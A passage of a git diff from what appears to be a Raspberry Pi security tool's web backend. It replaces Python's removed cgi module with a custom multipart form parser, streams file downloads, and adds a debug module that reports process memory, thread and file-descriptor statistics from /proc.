= json.loads(body or "{}") + if data is None: + body = handler.rfile.read(int(handler.headers.get('Content-Length', 0)) or 0) + data = json.loads(body or "{}") + elif not isinstance(data, dict): + raise ValueError("Invalid JSON payload") attack_name = (data.get('name') or '').strip() if not attack_name: raise ValueError("Attack name not provided.") @@ -1777,12 +1912,12 @@ class ActionUtils: except Exception as e: self.logger.error(e); self._err(h, str(e)) def upload_web_image(self, h): - import cgi + try: - ctype, pdict = cgi.parse_header(h.headers.get('Content-Type')) + ctype, pdict = _parse_header(h.headers.get('Content-Type')) if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) - form = cgi.FieldStorage(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), + form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) if 'web_image' not in form or not getattr(form['web_image'],'filename',''): raise ValueError('Aucun fichier web_image fourni') file_item = form['web_image']; filename = self._safe(file_item.filename) @@ -1823,12 +1958,12 @@ class ActionUtils: except Exception as e: self.logger.error(e); self._err(h, str(e)) def upload_actions_icon(self, h): - import cgi + try: - ctype, pdict = cgi.parse_header(h.headers.get('Content-Type')) + ctype, pdict = _parse_header(h.headers.get('Content-Type')) if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) - form = cgi.FieldStorage(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), + form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) if 'icon_image' not in form or not getattr(form['icon_image'],'filename',''): raise ValueError('Aucun fichier icon_image fourni') file_item = form['icon_image']; filename = self._safe(file_item.filename) @@ -1846,7 +1981,7 @@ class ActionUtils: if fmt in ('JPEG','BMP'): im = im.convert('RGB') im.save(out, fmt) data = out.getvalue() - with open(os.path.join(self.web_images_dir, filename), 'wb') as f: + with open(os.path.join(self.actions_icons_dir, filename), 'wb') as f: f.write(data) self._send_json(h, {'status':'success','message':'Action icon uploaded','file':filename}) except Exception as e: @@ -1863,4 +1998,4 @@ class ActionUtils: h.send_response(200); h.send_header('Content-Type', self._mime(image_path)) h.send_header('Content-Length', str(len(content))); h.end_headers(); h.wfile.write(content) except Exception as e: - self.logger.error(e); h.send_error(500,"Internal Server Error") \ No newline at end of file + self.logger.error(e); h.send_error(500,"Internal Server Error") diff --git a/web_utils/attack_utils.py b/web_utils/attack_utils.py index 7ef7be4..72424ba 100644 --- a/web_utils/attack_utils.py +++ b/web_utils/attack_utils.py @@ -7,8 +7,86 @@ from __future__ import annotations import json import os import ast -import cgi import shutil +from io import BytesIO + + +# --- Multipart form helpers (replaces cgi module removed in Python 3.13) --- +def _parse_header(line): + parts = line.split(';') + key = parts[0].strip() + pdict = {} + for p in parts[1:]: + if '=' in p: + k, v = p.strip().split('=', 1) + pdict[k.strip()] = v.strip().strip('"') + return key, pdict + + +class _FormField: + __slots__ = ('name', 'filename', 'file', 'value') + def __init__(self, name, filename=None, data=b''): + self.name = name + self.filename = filename + if filename: + self.file = BytesIO(data) + self.value = data + else: + self.value = data.decode('utf-8', errors='replace').strip() + self.file = None + + +class _MultipartForm: + """Minimal replacement for _MultipartForm.""" + def __init__(self, fp, headers, environ=None, keep_blank_values=False): + import re as _re + self._fields = {} + ct = headers.get('Content-Type', '') if hasattr(headers, 'get') else '' + _, params = _parse_header(ct) + boundary = params.get('boundary', '').encode() + if hasattr(fp, 'read'): + cl = headers.get('Content-Length') if hasattr(headers, 'get') else None + body = fp.read(int(cl)) if cl else fp.read() + else: + body = fp + for part in body.split(b'--' + boundary)[1:]: + part = part.strip(b'\r\n') + if part == b'--' or not part: + continue + sep = b'\r\n\r\n' if b'\r\n\r\n' in part else b'\n\n' + if sep not in part: + continue + hdr, data = part.split(sep, 1) + hdr_s = hdr.decode('utf-8', errors='replace') + nm = _re.search(r'name="([^"]*)"', hdr_s) + fn = _re.search(r'filename="([^"]*)"', hdr_s) + if not nm: + continue + name = nm.group(1) + filename = fn.group(1) if fn else None + field = _FormField(name, filename, data) + if name in self._fields: + existing = self._fields[name] + if isinstance(existing, list): + existing.append(field) + else: + self._fields[name] = [existing, field] + else: + self._fields[name] = field + + def __contains__(self, key): + return key in self._fields + + def __getitem__(self, key): + return self._fields[key] + + def getvalue(self, key, default=None): + if key not in self._fields: + return default + f = self._fields[key] + if isinstance(f, list): + return [x.value for x in f] + return f.value from typing import Any, Dict, Optional from urllib.parse import urlparse, parse_qs import logging @@ -107,7 +185,7 @@ class AttackUtils: if 'multipart/form-data' not in ctype: raise ValueError("Content-Type must be multipart/form-data.") - form = cgi.FieldStorage(fp=handler.rfile, headers=handler.headers, environ={'REQUEST_METHOD': 'POST'}) + form = _MultipartForm(fp=handler.rfile, headers=handler.headers, environ={'REQUEST_METHOD': 'POST'}) if 'attack_file' not in form: raise ValueError("No attack_file field in form.") diff --git a/web_utils/backup_utils.py b/web_utils/backup_utils.py index 857fd4a..dfee63c 100644 --- a/web_utils/backup_utils.py +++ b/web_utils/backup_utils.py @@ -436,14 +436,14 @@ class BackupUtils: return try: - with open(backup_path, 'rb') as f: - file_data = f.read() + file_size = os.path.getsize(backup_path) handler.send_response(200) handler.send_header('Content-Type', 'application/octet-stream') handler.send_header('Content-Disposition', f'attachment; filename="{filename}"') - handler.send_header('Content-Length', str(len(file_data))) + handler.send_header('Content-Length', str(file_size)) handler.end_headers() - handler.wfile.write(file_data) + with open(backup_path, 'rb') as f: + shutil.copyfileobj(f, handler.wfile) except Exception as e: self.logger.error(f"Error downloading backup: {e}") handler.send_response(500) diff --git a/web_utils/character_utils.py b/web_utils/character_utils.py index 3b6e6bf..1562ac8 100644 --- a/web_utils/character_utils.py +++ b/web_utils/character_utils.py @@ -15,9 +15,86 @@ from typing import Any, Dict, Optional from urllib.parse import urlparse, parse_qs import io -import cgi from PIL import Image + +# --- Multipart form helpers (replaces cgi module removed in Python 3.13) --- +def _parse_header(line): + parts = line.split(';') + key = parts[0].strip() + pdict = {} + for p in parts[1:]: + if '=' in p: + k, v = p.strip().split('=', 1) + pdict[k.strip()] = v.strip().strip('"') + return key, pdict + + +class _FormField: + __slots__ = ('name', 'filename', 'file', 'value') + def __init__(self, name, filename=None, data=b''): + self.name = name + self.filename = filename + if filename: + self.file = BytesIO(data) + self.value = data + else: + self.value = data.decode('utf-8', errors='replace').strip() + self.file = None + + +class _MultipartForm: + """Minimal replacement for _MultipartForm.""" + def __init__(self, fp, headers, environ=None, keep_blank_values=False): + import re as _re + self._fields = {} + ct = headers.get('Content-Type', '') if hasattr(headers, 'get') else '' + _, params = _parse_header(ct) + boundary = params.get('boundary', '').encode() + if hasattr(fp, 'read'): + cl = headers.get('Content-Length') if hasattr(headers, 'get') else None + body = fp.read(int(cl)) if cl else fp.read() + else: + body = fp + for part in body.split(b'--' + boundary)[1:]: + part = part.strip(b'\r\n') + if part == b'--' or not part: + continue + sep = b'\r\n\r\n' if b'\r\n\r\n' in part else b'\n\n' + if sep not in part: + continue + hdr, data = part.split(sep, 1) + hdr_s = hdr.decode('utf-8', errors='replace') + nm = _re.search(r'name="([^"]*)"', hdr_s) + fn = _re.search(r'filename="([^"]*)"', hdr_s) + if not nm: + continue + name = nm.group(1) + filename = fn.group(1) if fn else None + field = _FormField(name, filename, data) + if name in self._fields: + existing = self._fields[name] + if isinstance(existing, list): + existing.append(field) + else: + self._fields[name] = [existing, field] + else: + self._fields[name] = field + + def __contains__(self, key): + return key in self._fields + + def __getitem__(self, key): + return self._fields[key] + + def getvalue(self, key, default=None): + if key not in self._fields: + return default + f = self._fields[key] + if isinstance(f, list): + return [x.value for x in f] + return f.value + from logger import Logger logger = Logger(name="character_utils.py", level=logging.DEBUG) @@ -323,14 +400,14 @@ class CharacterUtils: def upload_character_images(self, handler): """Ajoute des images de characters pour une action existante (toujours BMP + numérotation).""" try: - ctype, pdict = cgi.parse_header(handler.headers.get('Content-Type')) + ctype, pdict = _parse_header(handler.headers.get('Content-Type')) if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') pdict['boundary'] = bytes(pdict['boundary'], "utf-8") pdict['CONTENT-LENGTH'] = int(handler.headers.get('Content-Length')) - form = cgi.FieldStorage( + form = _MultipartForm( fp=io.BytesIO(handler.rfile.read(pdict['CONTENT-LENGTH'])), headers=handler.headers, environ={'REQUEST_METHOD': 'POST'}, diff --git a/web_utils/db_utils.py b/web_utils/db_utils.py index f8a6792..11a910a 100644 --- a/web_utils/db_utils.py +++ b/web_utils/db_utils.py @@ -33,16 +33,11 @@ class DBUtils: def _db_table_info(self, table: str): """Get table info (primary key and columns).""" table = self._db_safe_ident(table) - cols = [r["name"] for r in self.shared_data.db.query(f"PRAGMA table_info({table});")] - if not cols: + rows = self.shared_data.db.query(f"PRAGMA table_info({table});") + if not rows: raise ValueError("Table not found") - - pk = None - for r in self.shared_data.db.query(f"PRAGMA table_info({table});"): - if int(r["pk"] or 0) == 1: - pk = r["name"] - break - + cols = [r["name"] for r in rows] + pk = next((r["name"] for r in rows if int(r["pk"] or 0) == 1), None) if not pk: pk = "id" if "id" in cols else cols[0] return pk, cols diff --git a/web_utils/debug_utils.py b/web_utils/debug_utils.py new file mode 100644 index 0000000..8bda032 --- /dev/null +++ b/web_utils/debug_utils.py @@ -0,0 +1,536 @@ +""" +Debug / Profiling utilities for the Bjorn Debug page. +Exposes process-level and per-thread metrics via /proc (no external deps). +Designed for Pi Zero 2: lightweight reads, no subprocess spawning. +OPTIMIZED: minimal allocations, cached tracemalloc, /proc/self/smaps for C memory. +""" + +import json +import os +import sys +import threading +import time +import tracemalloc + +from logger import Logger + +logger = Logger(name="debug_utils") + +_SC_CLK_TCK = os.sysconf("SC_CLK_TCK") if hasattr(os, "sysconf") else 100 + +# --------------------------------------------------------------------------- +# /proc helpers +# --------------------------------------------------------------------------- + +def _read_proc_status(): + result = {} + try: + with open("/proc/self/status", "r", encoding="utf-8") as f: + for line in f: + if line.startswith("VmRSS:"): + result["vm_rss_kb"] = int(line.split()[1]) + elif line.startswith("VmSize:"): + result["vm_size_kb"] = int(line.split()[1]) + elif line.startswith("VmPeak:"): + result["vm_peak_kb"] = int(line.split()[1]) + elif line.startswith("VmSwap:"): + result["vm_swap_kb"] = int(line.split()[1]) + elif line.startswith("FDSize:"): + result["fd_slots"] = int(line.split()[1]) + elif line.startswith("Threads:"): + result["kernel_threads"] = int(line.split()[1]) + elif line.startswith("RssAnon:"): + result["rss_anon_kb"] = int(line.split()[1]) + elif line.startswith("RssFile:"): + result["rss_file_kb"] = int(line.split()[1]) + elif line.startswith("RssShmem:"): + result["rss_shmem_kb"] = int(line.split()[1]) + except Exception: + pass + return result + + +def _fd_count(): + try: + return len(os.listdir("/proc/self/fd")) + except Exception: + return -1 + + +def _read_open_files(): + """Read open FDs — reuses a single dict to minimize allocations.""" + fd_dir = "/proc/self/fd" + fd_map = {} + try: + fds = os.listdir(fd_dir) + except Exception: + return [] + + for fd in fds: + try: + target = os.readlink(fd_dir + "/" + fd) + except Exception: + target = "???" + + if target.startswith("/"): + ftype = "device" if "/dev/" in target else "proc" if target.startswith("/proc/") else "temp" if (target.startswith("/tmp/") or target.startswith("/run/")) else "file" + elif target.startswith("socket:"): + ftype = "socket" + elif target.startswith("pipe:"): + ftype = "pipe" + elif target.startswith("anon_inode:"): + ftype = "anon" + else: + ftype = "other" + + entry = fd_map.get(target) + if entry is None: + entry = {"target": target, "type": ftype, "count": 0, "fds": []} + fd_map[target] = entry + entry["count"] += 1 + if len(entry["fds"]) < 5: + entry["fds"].append(int(fd)) + + result = sorted(fd_map.values(), key=lambda x: (-x["count"], x["target"])) + return result + + +def _read_thread_stats(): + threads = [] + task_dir = "/proc/self/task" + try: + tids = os.listdir(task_dir) + except Exception: + return threads + + for tid in tids: + try: + with open(task_dir + "/" + tid + "/stat", "r", encoding="utf-8") as f: + raw = f.read() + i1 = raw.find("(") + i2 = raw.rfind(")") + if i1 < 0 or i2 < 0: + continue + name = raw[i1 + 1:i2] + fields = raw[i2 + 2:].split() + state = fields[0] if fields else "?" + utime = int(fields[11]) if len(fields) > 11 else 0 + stime = int(fields[12]) if len(fields) > 12 else 0 + threads.append({ + "tid": int(tid), + "name": name, + "state": state, + "cpu_ticks": utime + stime, + }) + except Exception: + continue + return threads + + +def _get_python_threads_rich(): + """Enumerate Python threads with target + current frame. Minimal allocations.""" + frames = sys._current_frames() + result = [] + + for t in threading.enumerate(): + ident = t.ident + nid = getattr(t, "native_id", None) + + # Target function info + target = getattr(t, "_target", None) + if target is not None: + tf = getattr(target, "__qualname__", getattr(target, "__name__", "?")) + tm = getattr(target, "__module__", "") + # Source file — use __code__ directly (avoids importing inspect) + tfile = "" + code = getattr(target, "__code__", None) + if code: + tfile = getattr(code, "co_filename", "") + else: + tf = "(main)" if t.name == "MainThread" else "(no target)" + tm = "" + tfile = "" + + # Current stack — top 5 frames, build compact strings directly + stack = [] + frame = frames.get(ident) + depth = 0 + while frame is not None and depth < 5: + co = frame.f_code + fn = co.co_filename + # Shorten: last 2 path components + sep = fn.rfind("/") + if sep > 0: + sep2 = fn.rfind("/", 0, sep) + short = fn[sep2 + 1:] if sep2 >= 0 else fn + else: + short = fn + stack.append({ + "file": short, + "line": frame.f_lineno, + "func": co.co_name, + }) + frame = frame.f_back + depth += 1 + # Release frame reference immediately + del frame + + result.append({ + "name": t.name, + "daemon": t.daemon, + "alive": t.is_alive(), + "ident": ident, + "native_id": nid, + "target_func": tf, + "target_module": tm, + "target_file": tfile, + "stack_top": stack, + }) + + # Release all frame references + del frames + return result + + +def _system_cpu_mem(): + result = {"cpu_count": 1, "mem_total_kb": 0, "mem_available_kb": 0} + try: + with open("/proc/meminfo", "r", encoding="utf-8") as f: + for line in f: + if line.startswith("MemTotal:"): + result["mem_total_kb"] = int(line.split()[1]) + elif line.startswith("MemAvailable:"): + result["mem_available_kb"] = int(line.split()[1]) + except Exception: + pass + try: + result["cpu_count"] = len(os.sched_getaffinity(0)) + except Exception: + try: + result["cpu_count"] = os.cpu_count() or 1 + except Exception: + pass + return result + + +def _read_smaps_rollup(): + """ + Read /proc/self/smaps_rollup for a breakdown of what consumes RSS. + This shows: Shared_Clean, Shared_Dirty, Private_Clean, Private_Dirty, + which helps identify C extension memory vs Python heap vs mmap. + """ + result = {} + try: + with open("/proc/self/smaps_rollup", "r", encoding="utf-8") as f: + for line in f: + parts = line.split() + if len(parts) >= 2: + key = parts[0].rstrip(":") + if key in ("Rss", "Pss", "Shared_Clean", "Shared_Dirty", + "Private_Clean", "Private_Dirty", "Referenced", + "Anonymous", "Swap", "Locked"): + result[key.lower() + "_kb"] = int(parts[1]) + except Exception: + pass + return result + + +# --------------------------------------------------------------------------- +# Cached tracemalloc — take snapshot at most every 5s to reduce overhead +# --------------------------------------------------------------------------- + +_tm_cache_lock = threading.Lock() +_tm_cache = None # (current, peak, by_file, by_line) +_tm_cache_time = 0.0 +_TM_CACHE_TTL = 5.0 # seconds + + +def _get_tracemalloc_cached(): + """Return cached tracemalloc data, refreshing at most every 5s.""" + global _tm_cache, _tm_cache_time + + if not tracemalloc.is_tracing(): + return 0, 0, [], [] + + now = time.monotonic() + with _tm_cache_lock: + if _tm_cache is not None and (now - _tm_cache_time) < _TM_CACHE_TTL: + return _tm_cache + + # Take snapshot outside the lock (it's slow) + current, peak = tracemalloc.get_traced_memory() + snap = tracemalloc.take_snapshot() + + # Single statistics call — use lineno (more useful), derive file-level client-side + stats_line = snap.statistics("lineno")[:30] + top_by_line = [] + file_agg = {} + for s in stats_line: + frame = s.traceback[0] if s.traceback else None + if frame is None: + continue + fn = frame.filename + sep = fn.rfind("/") + if sep > 0: + sep2 = fn.rfind("/", 0, sep) + short = fn[sep2 + 1:] if sep2 >= 0 else fn + else: + short = fn + top_by_line.append({ + "file": short, + "full_path": fn, + "line": frame.lineno, + "size_kb": round(s.size / 1024, 1), + "count": s.count, + }) + # Aggregate by file + if fn not in file_agg: + file_agg[fn] = {"file": short, "full_path": fn, "size_kb": 0, "count": 0} + file_agg[fn]["size_kb"] += round(s.size / 1024, 1) + file_agg[fn]["count"] += s.count + + # Also get file-level stats for files that don't appear in line-level top + stats_file = snap.statistics("filename")[:20] + for s in stats_file: + fn = str(s.traceback) if hasattr(s.traceback, '__str__') else "" + # traceback for filename stats is just the filename + raw_fn = s.traceback[0].filename if s.traceback else fn + if raw_fn not in file_agg: + sep = raw_fn.rfind("/") + if sep > 0: + sep2 = raw_fn.rfind("/", 0, sep) + short = raw_fn[sep2 + 1:] if sep2 >= 0 else raw_fn + else: + short = raw_fn + file_agg[raw_fn] = {"file": short, "full_path": raw_fn, "size_kb": 0, "count": 0} + entry = file_agg[raw_fn] + # Use the larger of aggregated or direct stats + direct_kb = round(s.size / 1024, 1) + if direct_kb > entry["size_kb"]: + entry["size_kb"] = direct_kb + if s.count > entry["count"]: + entry["count"] = s.count + + top_by_file = sorted(file_agg.values(), key=lambda x: -x["size_kb"])[:20] + + # Release snapshot immediately + del snap + + result = (current, peak, top_by_file, top_by_line) + with _tm_cache_lock: + _tm_cache = result + _tm_cache_time = now + + return result + + +# --------------------------------------------------------------------------- +# Snapshot + history ring buffer +# --------------------------------------------------------------------------- + +_MAX_HISTORY = 120 +_history_lock = threading.Lock() +_history = [] +_prev_thread_ticks = {} +_prev_proc_ticks = 0 +_prev_wall = 0.0 + + +def _take_snapshot(): + global _prev_thread_ticks, _prev_proc_ticks, _prev_wall + + now = time.time() + wall_delta = now - _prev_wall if _prev_wall > 0 else 1.0 + tick_budget = wall_delta * _SC_CLK_TCK + + # Process-level + status = _read_proc_status() + fd_open = _fd_count() + sys_info = _system_cpu_mem() + smaps = _read_smaps_rollup() + + # Thread CPU from /proc + raw_threads = _read_thread_stats() + thread_details = [] + new_ticks_map = {} + total_proc_ticks = 0 + + for t in raw_threads: + tid = t["tid"] + prev = _prev_thread_ticks.get(tid, t["cpu_ticks"]) + delta = max(0, t["cpu_ticks"] - prev) + cpu_pct = (delta / tick_budget * 100.0) if tick_budget > 0 else 0.0 + new_ticks_map[tid] = t["cpu_ticks"] + total_proc_ticks += t["cpu_ticks"] + thread_details.append({ + "tid": tid, + "name": t["name"], + "state": t["state"], + "cpu_pct": round(cpu_pct, 2), + "cpu_ticks_total": t["cpu_ticks"], + }) + + thread_details.sort(key=lambda x: x["cpu_pct"], reverse=True) + + proc_delta = total_proc_ticks - _prev_proc_ticks if _prev_proc_ticks else 0 + proc_cpu_pct = (proc_delta / tick_budget * 100.0) if tick_budget > 0 else 0.0 + + _prev_thread_ticks = new_ticks_map + _prev_proc_ticks = total_proc_ticks + _prev_wall = now + + # Python threads + py_threads = _get_python_threads_rich() + + # Match kernel TIDs to Python threads + native_to_py = {} + for pt in py_threads: + nid = pt.get("native_id") + if nid is not None: + native_to_py[nid] = pt + + for td in thread_details: + pt = native_to_py.get(td["tid"]) + if pt: + td["py_name"] = pt["name"] + td["py_target"] = pt.get("target_func", "") + td["py_module"] = pt.get("target_module", "") + td["py_file"] = pt.get("target_file", "") + if pt.get("stack_top"): + top = pt["stack_top"][0] + td["py_current"] = f"{top['file']}:{top['line']} {top['func']}()" + + # tracemalloc (cached, refreshes every 5s) + tm_current, tm_peak, tm_by_file, tm_by_line = _get_tracemalloc_cached() + + # Open files + open_files = _read_open_files() + + # Memory breakdown + rss_kb = status.get("vm_rss_kb", 0) + tm_current_kb = round(tm_current / 1024, 1) + # C/native memory = RSS - Python traced (approximation) + rss_anon_kb = status.get("rss_anon_kb", 0) + rss_file_kb = status.get("rss_file_kb", 0) + + snapshot = { + "ts": round(now, 3), + "proc_cpu_pct": round(proc_cpu_pct, 2), + "rss_kb": rss_kb, + "vm_size_kb": status.get("vm_size_kb", 0), + "vm_peak_kb": status.get("vm_peak_kb", 0), + "vm_swap_kb": status.get("vm_swap_kb", 0), + "fd_open": fd_open, + "fd_slots": status.get("fd_slots", 0), + "kernel_threads": status.get("kernel_threads", 0), + "py_thread_count": len(py_threads), + "sys_cpu_count": sys_info["cpu_count"], + "sys_mem_total_kb": sys_info["mem_total_kb"], + "sys_mem_available_kb": sys_info["mem_available_kb"], + # Memory breakdown + "rss_anon_kb": rss_anon_kb, + "rss_file_kb": rss_file_kb, + "rss_shmem_kb": status.get("rss_shmem_kb", 0), + "private_dirty_kb": smaps.get("private_dirty_kb", 0), + "private_clean_kb": smaps.get("private_clean_kb", 0), + "shared_dirty_kb": smaps.get("shared_dirty_kb", 0), + "shared_clean_kb": smaps.get("shared_clean_kb", 0), + # Data + "threads": thread_details, + "py_threads": py_threads, + "tracemalloc_active": tracemalloc.is_tracing(), + "tracemalloc_current_kb": tm_current_kb, + "tracemalloc_peak_kb": round(tm_peak / 1024, 1), + "tracemalloc_by_file": tm_by_file, + "tracemalloc_by_line": tm_by_line, + "open_files": open_files, + } + + with _history_lock: + _history.append({ + "ts": snapshot["ts"], + "proc_cpu_pct": snapshot["proc_cpu_pct"], + "rss_kb": rss_kb, + "fd_open": fd_open, + "py_thread_count": snapshot["py_thread_count"], + "kernel_threads": snapshot["kernel_threads"], + "vm_swap_kb": snapshot["vm_swap_kb"], + "private_dirty_kb": snapshot["private_dirty_kb"], + }) + if len(_history) > _MAX_HISTORY: + del _history[: len(_history) - _MAX_HISTORY] + + return snapshot + + +# --------------------------------------------------------------------------- +# WebUtils class +# --------------------------------------------------------------------------- + +class DebugUtils: + def __init__(self, shared_data): + self.shared_data = shared_data + + def get_snapshot(self, handler): + try: + data = _take_snapshot() + self._send_json(handler, data) + except Exception as exc: + logger.error(f"debug snapshot error: {exc}") + self._send_json(handler, {"error": str(exc)}, status=500) + + def get_history(self, handler): + try: + with _history_lock: + data = list(_history) + self._send_json(handler, {"history": data}) + except Exception as exc: + logger.error(f"debug history error: {exc}") + self._send_json(handler, {"error": str(exc)}, status=500) + + def toggle_tracemalloc(self, data): + global _tm_cache, _tm_cache_time + action = data.get("action", "status") + try: + if action == "start": + if not tracemalloc.is_tracing(): + tracemalloc.start(int(data.get("nframes", 10))) + return {"status": "ok", "tracing": True} + elif action == "stop": + if tracemalloc.is_tracing(): + tracemalloc.stop() + with _tm_cache_lock: + _tm_cache = None + _tm_cache_time = 0.0 + return {"status": "ok", "tracing": False} + else: + return {"status": "ok", "tracing": tracemalloc.is_tracing()} + except Exception as exc: + return {"status": "error", "message": str(exc)} + + def get_gc_stats(self, handler): + import gc + try: + counts = gc.get_count() + thresholds = gc.get_threshold() + self._send_json(handler, { + "gc_enabled": gc.isenabled(), + "counts": {"gen0": counts[0], "gen1": counts[1], "gen2": counts[2]}, + "thresholds": {"gen0": thresholds[0], "gen1": thresholds[1], "gen2": thresholds[2]}, + }) + except Exception as exc: + self._send_json(handler, {"error": str(exc)}, status=500) + + def force_gc(self, data): + import gc + try: + return {"status": "ok", "collected": gc.collect()} + except Exception as exc: + return {"status": "error", "message": str(exc)} + + @staticmethod + def _send_json(handler, data, status=200): + handler.send_response(status) + handler.send_header("Content-Type", "application/json") + handler.end_headers() + handler.wfile.write(json.dumps(data, default=str).encode("utf-8")) diff --git a/web_utils/file_utils.py b/web_utils/file_utils.py index bb79f3f..4b6e585 100644 --- a/web_utils/file_utils.py +++ b/web_utils/file_utils.py @@ -7,7 +7,6 @@ from __future__ import annotations import os import json import shutil -import cgi from pathlib import Path from io import BytesIO from typing import Any, Dict, Optional @@ -155,7 +154,7 @@ class FileUtils: handler.send_header("Content-Disposition", f'attachment; filename="{os.path.basename(file_path)}"') handler.end_headers() with open(file_path, 'rb') as file: - handler.wfile.write(file.read()) + shutil.copyfileobj(file, handler.wfile) else: handler.send_response(404) handler.end_headers() diff --git a/web_utils/image_utils.py b/web_utils/image_utils.py index 626a03a..78374fb 100644 --- a/web_utils/image_utils.py +++ b/web_utils/image_utils.py @@ -10,6 +10,85 @@ from logger import Logger logger = Logger(name="image_utils.py", level=logging.DEBUG) + +# --- Multipart form helpers (replaces cgi module removed in Python 3.13) --- +def _parse_header(line): + parts = line.split(';') + key = parts[0].strip() + pdict = {} + for p in parts[1:]: + if '=' in p: + k, v = p.strip().split('=', 1) + pdict[k.strip()] = v.strip().strip('"') + return key, pdict + + +class _FormField: + __slots__ = ('name', 'filename', 'file', 'value') + def __init__(self, name, filename=None, data=b''): + self.name = name + self.filename = filename + if filename: + self.file = BytesIO(data) + self.value = data + else: + self.value = data.decode('utf-8', errors='replace').strip() + self.file = None + + +class _MultipartForm: + """Minimal replacement for _MultipartForm.""" + def __init__(self, fp, headers, environ=None, keep_blank_values=False): + import re as _re + self._fields = {} + ct = headers.get('Content-Type', '') if hasattr(headers, 'get') else '' + _, params = _parse_header(ct) + boundary = params.get('boundary', '').encode() + if hasattr(fp, 'read'): + cl = headers.get('Content-Length') if hasattr(headers, 'get') else None + body = fp.read(int(cl)) if cl else fp.read() + else: + body = fp + for part in body.split(b'--' + boundary)[1:]: + part = part.strip(b'\r\n') + if part == b'--' or not part: + continue + sep = b'\r\n\r\n' if b'\r\n\r\n' in part else b'\n\n' + if sep not in part: + continue + hdr, data = part.split(sep, 1) + hdr_s = hdr.decode('utf-8', errors='replace') + nm = _re.search(r'name="([^"]*)"', hdr_s) + fn = _re.search(r'filename="([^"]*)"', hdr_s) + if not nm: + continue + name = nm.group(1) + filename = fn.group(1) if fn else None + field = _FormField(name, filename, data) + if name in self._fields: + existing = self._fields[name] + if isinstance(existing, list): + existing.append(field) + else: + self._fields[name] = [existing, field] + else: + self._fields[name] = field + + def __contains__(self, key): + return key in self._fields + + def __getitem__(self, key): + return self._fields[key] + + def getvalue(self, key, default=None): + if key not in self._fields: + return default + f = self._fields[key] + if isinstance(f, list): + return [x.value for x in f] + return f.value + + ALLOWED_IMAGE_EXTS = {'.bmp', '.png', '.jpg', '.jpeg', '.gif', '.ico', '.webp'} class ImageUtils: @@ -149,12 +228,12 @@ class ImageUtils: def upload_status_image(self, h): """Add/replace /.bmp (always 28x28 BMP).""" - import cgi + try: - ctype, pdict = cgi.parse_header(h.headers.get('Content-Type')) + ctype, pdict = _parse_header(h.headers.get('Content-Type')) if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) - form = cgi.FieldStorage(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), + form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) for key in ('type','action_name','status_image'): if key not in form: raise ValueError(f'Missing field: {key}') @@ -179,12 +258,12 @@ class ImageUtils: except Exception as e: self.logger.error(e); self._err(h, str(e)) def upload_static_image(self, h): - import cgi + try: - ctype, pdict = cgi.parse_header(h.headers.get('Content-Type')) + ctype, pdict = _parse_header(h.headers.get('Content-Type')) if ctype != 'multipart/form-data': raise ValueError('Content-Type must be multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) - form = cgi.FieldStorage(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), + form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) if 'static_image' not in form or not getattr(form['static_image'],'filename',''): raise ValueError('No static_image provided') filename = self._safe(form['static_image'].filename); base, _ = os.path.splitext(filename); filename = base + '.bmp' @@ -216,12 +295,12 @@ class ImageUtils: except Exception as e: self.logger.error(e); self._err(h, str(e)) def upload_web_image(self, h): - import cgi + try: - ctype, pdict = cgi.parse_header(h.headers.get('Content-Type')) + ctype, pdict = _parse_header(h.headers.get('Content-Type')) if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) - form = cgi.FieldStorage(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), + form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) if 'web_image' not in form or not getattr(form['web_image'],'filename',''): raise ValueError('Aucun fichier web_image fourni') file_item = form['web_image']; filename = self._safe(file_item.filename) @@ -250,12 +329,12 @@ class ImageUtils: except Exception as e: self.logger.error(e); self._err(h, str(e)) def upload_actions_icon(self, h): - import cgi + try: - ctype, pdict = cgi.parse_header(h.headers.get('Content-Type')) + ctype, pdict = _parse_header(h.headers.get('Content-Type')) if ctype != 'multipart/form-data': raise ValueError('Content-Type doit être multipart/form-data') pdict['boundary']=bytes(pdict['boundary'],'utf-8'); pdict['CONTENT-LENGTH']=int(h.headers.get('Content-Length')) - form = cgi.FieldStorage(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), + form = _MultipartForm(fp=BytesIO(h.rfile.read(pdict['CONTENT-LENGTH'])), headers=h.headers, environ={'REQUEST_METHOD':'POST'}, keep_blank_values=True) if 'icon_image' not in form or not getattr(form['icon_image'],'filename',''): raise ValueError('Aucun fichier icon_image fourni') file_item = form['icon_image']; filename = self._safe(file_item.filename) @@ -315,12 +394,12 @@ class ImageUtils: def replace_image(self, h): 